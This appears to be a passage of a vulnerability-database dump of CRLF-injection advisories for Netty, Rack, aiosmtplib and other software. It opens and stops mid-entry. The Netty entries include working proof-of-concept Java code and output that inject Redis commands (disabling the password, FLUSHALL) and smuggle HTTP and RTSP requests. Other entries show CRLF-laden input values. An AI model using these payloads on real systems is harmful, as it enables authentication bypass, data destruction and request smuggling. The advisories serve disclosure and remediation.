System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput:   InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n  Command 1: PING\n  Command 2: CONFIG SET requirepass \"\"\n  Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput:   SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput:   ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"Redis message content contains illegal CRLF character at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new RedisCodecException(\n                \"Redis message content contains CRLF at index \" + i);\n        }\n    }\n    // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
  "id": "GHSA-rgrr-p7gp-5xj7",
  "modified": "2026-05-14T20:41:24Z",
  "published": "2026-05-07T00:24:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://redis.io/docs/reference/protocol-spec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Redis Codec Encoder has a CRLF Injection Issue"
}

GHSA-RX22-G9MX-QRHV

Vulnerability from github – Published: 2026-04-02 20:31 – Updated: 2026-05-13 16:17
VLAI
Summary
Rack's improper unfolding of folded multipart headers preserves CRLF in parsed parameter values
Details

Summary

Rack::Multipart::Parser unfolds folded multipart part headers incorrectly. When a multipart header contains an obs-fold sequence, Rack preserves the embedded CRLF in parsed parameter values such as filename or name instead of removing the folded line break during unfolding.

As a result, applications that later reuse those parsed values in HTTP response headers may be vulnerable to downstream header injection or response splitting.

Details

Rack::Multipart::Parser accepts folded multipart header values and unfolds them during parsing. However, the unfolding behavior does not fully remove the embedded line break sequence from the parsed value.

This means a multipart part header such as:

Content-Disposition: form-data; name="file"; filename="test\r\n foo.txt"

can result in a parsed parameter value that still contains CRLF characters.

The issue is not that Rack creates a second multipart header field. Rather, the problem is that CRLF remains embedded in the parsed metadata value after unfolding. If an application later uses that value in a security-sensitive context, such as constructing an HTTP response header, the preserved CRLF may alter downstream header parsing.

Affected values may include multipart parameters such as filename, name, or similar parsed header attributes.

Impact

Applications that accept multipart form uploads may be affected if they later reuse parsed multipart metadata in HTTP headers or other header-sensitive contexts.

In affected deployments, an attacker may be able to supply a multipart parameter value containing folded line breaks and cause downstream header injection, response splitting, cache poisoning, or related response parsing issues.

The practical impact depends on application behavior. If parsed multipart metadata is not reused in HTTP headers, the issue may be limited to incorrect parsing behavior rather than a direct exploit path.

Mitigation

  • Update to a patched version of Rack that removes CRLF correctly when unfolding folded multipart header values.
  • Avoid copying upload metadata such as filename directly into HTTP response headers without sanitization.
  • Sanitize or reject carriage return and line feed characters in multipart-derived values before reusing them in response headers, logs, or downstream protocol contexts.
  • Where feasible, normalize uploaded filenames before storing or reflecting them.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T20:31:01Z",
    "nvd_published_at": "2026-04-02T18:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`Rack::Multipart::Parser` unfolds folded multipart part headers incorrectly. When a multipart header contains an obs-fold sequence, Rack preserves the embedded CRLF in parsed parameter values such as `filename` or `name` instead of removing the folded line break during unfolding.\n\nAs a result, applications that later reuse those parsed values in HTTP response headers may be vulnerable to downstream header injection or response splitting.\n\n## Details\n\n`Rack::Multipart::Parser` accepts folded multipart header values and unfolds them during parsing. However, the unfolding behavior does not fully remove the embedded line break sequence from the parsed value.\n\nThis means a multipart part header such as:\n\n```http\nContent-Disposition: form-data; name=\"file\"; filename=\"test\\r\\n foo.txt\"\n```\n\ncan result in a parsed parameter value that still contains CRLF characters.\n\nThe issue is not that Rack creates a second multipart header field. Rather, the problem is that CRLF remains embedded in the parsed metadata value after unfolding. If an application later uses that value in a security-sensitive context, such as constructing an HTTP response header, the preserved CRLF may alter downstream header parsing.\n\nAffected values may include multipart parameters such as `filename`, `name`, or similar parsed header attributes.\n\n## Impact\n\nApplications that accept multipart form uploads may be affected if they later reuse parsed multipart metadata in HTTP headers or other header-sensitive contexts.\n\nIn affected deployments, an attacker may be able to supply a multipart parameter value containing folded line breaks and cause downstream header injection, response splitting, cache poisoning, or related response parsing issues.\n\nThe practical impact depends on application behavior. If parsed multipart metadata is not reused in HTTP headers, the issue may be limited to incorrect parsing behavior rather than a direct exploit path.\n\n## Mitigation\n\n* Update to a patched version of Rack that removes CRLF correctly when unfolding folded multipart header values.\n* Avoid copying upload metadata such as `filename` directly into HTTP response headers without sanitization.\n* Sanitize or reject carriage return and line feed characters in multipart-derived values before reusing them in response headers, logs, or downstream protocol contexts.\n* Where feasible, normalize uploaded filenames before storing or reflecting them.",
  "id": "GHSA-rx22-g9mx-qrhv",
  "modified": "2026-05-13T16:17:37Z",
  "published": "2026-04-02T20:31:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-rx22-g9mx-qrhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26962"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-26962.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack\u0027s improper unfolding of folded multipart headers preserves CRLF in parsed parameter values"
}

GHSA-RX7W-67VH-W8VG

Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31
VLAI
Details

An unauthenticated attacker may perform a blind server side request forgery (SSRF), due to a CLRF injection issue that can be leveraged to perform HTTP request smuggling. This SSRF leverages the WS-Addressing feature used during a WS-Eventing subscription SOAP operation. The attacker can control all the HTTP data sent in the SSRF connection, but the attacker can not receive any data back from this connection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-51981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T08:15:32Z",
    "severity": "MODERATE"
  },
  "details": "An unauthenticated attacker may perform a blind server side request forgery (SSRF), due to a CLRF injection issue that can be leveraged to perform HTTP request smuggling. This SSRF leverages the WS-Addressing feature used during a WS-Eventing subscription SOAP operation. The attacker can control all the HTTP data sent in the SSRF connection, but the attacker can not receive any data back from this connection.",
  "id": "GHSA-rx7w-67vh-w8vg",
  "modified": "2025-06-26T21:31:10Z",
  "published": "2025-06-26T21:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51981"
    },
    {
      "type": "WEB",
      "url": "https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/blt6495b3c6adf2867f/685aa980a26c5e2b1026969c/vulnerability-disclosure-whitepaper.pdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sfewer-r7/BrotherVulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://support.brother.com/g/b/link.aspx?prod=group2\u0026faqid=faq00100846_000"
    },
    {
      "type": "WEB",
      "url": "https://support.brother.com/g/b/link.aspx?prod=group2\u0026faqid=faq00100848_000"
    },
    {
      "type": "WEB",
      "url": "https://support.brother.com/g/b/link.aspx?prod=lmgroup1\u0026faqid=faqp00100620_000"
    },
    {
      "type": "WEB",
      "url": "https://www.fujifilm.com/fbglobal/eng/company/news/notice/2025/0625_announce.html"
    },
    {
      "type": "WEB",
      "url": "https://www.konicaminolta.com/global-en/security/advisory/pdf/km-2025-0001.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed"
    },
    {
      "type": "WEB",
      "url": "https://www.ricoh.com/products/security/vulnerabilities/vul?id=ricoh-2025-000007"
    },
    {
      "type": "WEB",
      "url": "https://www.toshibatec.com/information/20250625_02.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXQ8-R4WW-HXV7

Vulnerability from github – Published: 2026-03-12 12:30 – Updated: 2026-03-12 12:30
VLAI
Details

A flaw was found in mod_proxy_cluster. This vulnerability, a Carriage Return Line Feed (CRLF) injection in the decodeenc() function, allows a remote attacker to bypass input validation. By injecting CRLF sequences into the cluster configuration, an attacker can corrupt the response body of INFO endpoint responses. Exploitation requires network access to the MCMP protocol port, but no authentication is needed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-3234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-12T11:15:57Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in  mod_proxy_cluster. This vulnerability, a Carriage Return Line Feed (CRLF) injection in the decodeenc() function, allows a remote attacker to bypass input validation. By injecting CRLF sequences into the cluster configuration, an attacker can corrupt the response body of INFO endpoint responses. Exploitation requires network access to the MCMP protocol port, but no authentication is needed.",
  "id": "GHSA-rxq8-r4ww-hxv7",
  "modified": "2026-03-12T12:30:29Z",
  "published": "2026-03-12T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3234"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-3234"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442889"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V3Q9-HJ7J-63HQ

Vulnerability from github – Published: 2026-07-07 23:40 – Updated: 2026-07-07 23:40
VLAI
Summary
aiosmtplib vulnerable to SMTP command injection via CR/LF in sender/recipient address
Details

Summary

aiosmtplib's SMTP.mail(), SMTP.rcpt(), SMTP.vrfy() and SMTP.expn() send the caller-supplied email address to the server without rejecting embedded CR/LF (\r\n) bytes. An address that contains a CR/LF is written verbatim onto the SMTP control connection, so the bytes after the CRLF are framed by the server as one or more additional, standalone SMTP command lines. A caller that passes an attacker-influenced sender or recipient address into mail()/rcpt() (or vrfy()/expn()) therefore allows SMTP command injection (CWE-93 / CWE-77): the attacker can smuggle arbitrary SMTP verbs such as MAIL FROM, RCPT TO, RSET, DATA, or AUTH into the session. Injected commands will cause the SMTP instance to hang, but all commands required to complete the envelope could be sent in one address string.

The SMTP.sendmail() command will pass sender and recipient addresses verbatim through to SMTP.mail() & SMTP.rcpt(), and so is also vulnerable. SMTP.send_message() is not affected.

Impact

Severity: medium. Type: SMTP protocol command injection (CWE-93 — Improper Neutralization of CRLF Sequences; CWE-77 — Command Injection).

When an application built on aiosmtplib derives the envelope sender or any recipient from data an attacker can influence (a web form etc.) and passes it to mail()/rcpt() (directly, or via sendmail()/send() without a Message object), the attacker can:

  • desynchronize the command/response pipeline and cause the aiosmtplib client to hang, resulting in a possible denial of service
  • inject multiple commands in one address to send an arbitrary message

The address only needs to reach mail()/rcpt()/vrfy()/expn(); no attacker control over the SMTP server is required.

Vulnerable versions

Affected version: aiosmtplib 5.1.0 (latest at time of report) and all earlier releases.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "aiosmtplib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:40:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`aiosmtplib`\u0027s `SMTP.mail()`, `SMTP.rcpt()`, `SMTP.vrfy()` and `SMTP.expn()` send the caller-supplied email address to the server without rejecting embedded CR/LF (`\\r\\n`) bytes. An address that contains a CR/LF is written verbatim onto the SMTP control connection, so the bytes after the CRLF are framed by the server as one or more **additional, standalone SMTP command lines**. A caller that passes an attacker-influenced sender or recipient address into `mail()`/`rcpt()` (or `vrfy()`/`expn()`) therefore allows **SMTP command injection** (CWE-93 / CWE-77): the attacker can smuggle arbitrary SMTP verbs such as `MAIL FROM`, `RCPT TO`, `RSET`, `DATA`, or `AUTH` into the session. Injected commands will cause the `SMTP` instance to hang, but all commands required to complete the envelope could be sent in one address string.\n\nThe `SMTP.sendmail()` command will pass sender and recipient addresses verbatim through to `SMTP.mail()` \u0026 `SMTP.rcpt()`, and so is also vulnerable. `SMTP.send_message()` is not affected.\n\n### Impact\n\nSeverity: medium. Type: SMTP protocol command injection (CWE-93 \u2014 Improper Neutralization of CRLF Sequences; CWE-77 \u2014 Command Injection).\n\nWhen an application built on `aiosmtplib` derives the envelope sender or any recipient from data an attacker can influence (a web form etc.) and passes it to `mail()`/`rcpt()` (directly, or via `sendmail()`/`send()` without a `Message` object), the attacker can:\n\n- desynchronize the command/response pipeline and cause the aiosmtplib client to hang, resulting in a possible denial of service\n- inject multiple commands in one address to send an arbitrary message\n\nThe address only needs to reach `mail()`/`rcpt()`/`vrfy()`/`expn()`; no attacker control over the SMTP server is required.\n\n### Vulnerable versions\n\nAffected version: `aiosmtplib` 5.1.0 (latest at time of report) and all earlier releases.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-v3q9-hj7j-63hq",
  "modified": "2026-07-07T23:40:52Z",
  "published": "2026-07-07T23:40:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cole/aiosmtplib/security/advisories/GHSA-v3q9-hj7j-63hq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cole/aiosmtplib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "aiosmtplib vulnerable to SMTP command injection via CR/LF in sender/recipient address"
}

GHSA-V3R5-PJPM-MWGQ

Vulnerability from github – Published: 2023-06-07 15:52 – Updated: 2023-06-07 15:52
VLAI
Summary
Async HTTP Client has CRLF Injection vulnerability in HTTP request headers
Details

Versions of Async HTTP Client prior to 1.13.2 are vulnerable to a form of targeted request manipulation called CRLF injection. This vulnerability was the result of insufficient validation of HTTP header field values before sending them to the network. Users are vulnerable if they pass untrusted data into HTTP header field values without prior sanitisation. Common use-cases here might be to place usernames from a database into HTTP header fields.

This vulnerability allows attackers to inject new HTTP header fields, or entirely new requests, into the data stream. This can cause requests to be understood very differently by the remote server than was intended. In general, this is unlikely to result in data disclosure, but it can result in a number of logical errors and other misbehaviours.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-07T15:52:55Z",
    "nvd_published_at": "2023-01-18T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Versions of Async HTTP Client prior to 1.13.2 are vulnerable to a form of targeted request manipulation called CRLF injection. This vulnerability was the result of insufficient validation of HTTP header field values before sending them to the network. Users are vulnerable if they pass untrusted data into HTTP header field values without prior sanitisation. Common use-cases here might be to place usernames from a database into HTTP header fields.\n\nThis vulnerability allows attackers to inject new HTTP header fields, or entirely new requests, into the data stream. This can cause requests to be understood very differently by the remote server than was intended. In general, this is unlikely to result in data disclosure, but it can result in a number of logical errors and other misbehaviours.",
  "id": "GHSA-v3r5-pjpm-mwgq",
  "modified": "2023-06-07T15:52:55Z",
  "published": "2023-06-07T15:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/security/advisories/GHSA-v3r5-pjpm-mwgq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/commit/7f05a8da46cc2a4ab43218722298b81ac7a08031"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/swift-server/async-http-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.12.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.13.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Async HTTP Client has CRLF Injection vulnerability in HTTP request headers"
}

GHSA-V65P-HGF8-V8QQ

Vulnerability from github – Published: 2022-05-17 02:45 – Updated: 2022-05-17 02:45
VLAI
Details

An issue was discovered on Accellion FTA devices before FTA_9_12_180. There is a home/seos/courier/login.html auth_params CRLF attack vector.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-8791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-05T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered on Accellion FTA devices before FTA_9_12_180. There is a home/seos/courier/login.html auth_params CRLF attack vector.",
  "id": "GHSA-v65p-hgf8-v8qq",
  "modified": "2022-05-17T02:45:15Z",
  "published": "2022-05-17T02:45:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8791"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/anonymous/32e2894fa29176f3f32cb2b2bb7c24cb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V8H7-RR48-VMMV

Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32
VLAI
Summary
Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection
Details

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

  • io.netty.handler.codec.http.DefaultHttpRequest
  • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
  • setUri(String uri) only performs checkNotNull and does not validate
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • setUri(String uri) delegates to the parent implementation
  • io.netty.handler.codec.http.HttpRequestEncoder
  • Writes request.uri() directly into the request line
  • io.netty.handler.codec.rtsp.RtspEncoder
  • Writes request.uri() directly into the request line

This creates the following bypass:

  1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
  2. Later, attacker-influenced input is passed into setUri()
  3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
  4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

  • GET /s1
  • POST /s2 with body Hello World
  • trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

        DefaultHttpRequest request = new DefaultHttpRequest(
                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

        request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
                "CSeq: 1\r\n\r\n" +
                "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
                "CSeq: 2\r\n\r\n" +
                "OPTIONS rtsp://cam/final");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded RTSP request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by RtspDecoder ===");
        server.writeInbound(outbound.retainedDuplicate());
    }
}

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

  • OPTIONS rtsp://cam/stream
  • DESCRIBE rtsp://cam/secret
  • OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact

The vulnerable conditions are:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest
